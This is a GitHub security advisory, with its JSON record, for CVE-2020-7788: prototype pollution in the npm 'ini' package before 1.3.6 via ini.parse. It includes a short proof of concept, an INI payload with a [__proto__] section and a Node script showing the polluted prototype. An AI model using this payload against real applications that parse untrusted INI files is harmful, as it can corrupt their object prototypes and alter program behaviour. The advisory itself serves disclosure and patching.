ghsa-qqgx-2p2h-9c37
Vulnerability from github
Published
2020-12-10 16:53
Modified
2022-12-03 03:55
Severity ?
7.3 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Summary
ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
Details

Overview

The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.

If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

Patches

This has been patched in 1.3.6.

Steps to reproduce

payload.ini [__proto__] polluted = "polluted"

poc.js: ``` var fs = require('fs') var ini = require('ini')

var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.proto) console.log(polluted) ```

```

node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ini"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-12-10T16:51:39Z",
    "nvd_published_at": "2020-12-11T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Overview\nThe `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.\n\nIf an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.\n\n### Patches\n\nThis has been patched in 1.3.6.\n\n### Steps to reproduce\n\npayload.ini\n```\n[__proto__]\npolluted = \"polluted\"\n```\n\npoc.js:\n```\nvar fs = require(\u0027fs\u0027)\nvar ini = require(\u0027ini\u0027)\n\nvar parsed = ini.parse(fs.readFileSync(\u0027./payload.ini\u0027, \u0027utf-8\u0027))\nconsole.log(parsed)\nconsole.log(parsed.__proto__)\nconsole.log(polluted)\n```\n\n```\n\u003e node poc.js\n{}\n{ polluted: \u0027polluted\u0027 }\n{ polluted: \u0027polluted\u0027 }\npolluted\n```",
  "id": "GHSA-qqgx-2p2h-9c37",
  "modified": "2022-12-03T03:55:11Z",
  "published": "2020-12-10T16:53:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7788"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/npm/ini"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-INI-1048974"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1589"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse"
}


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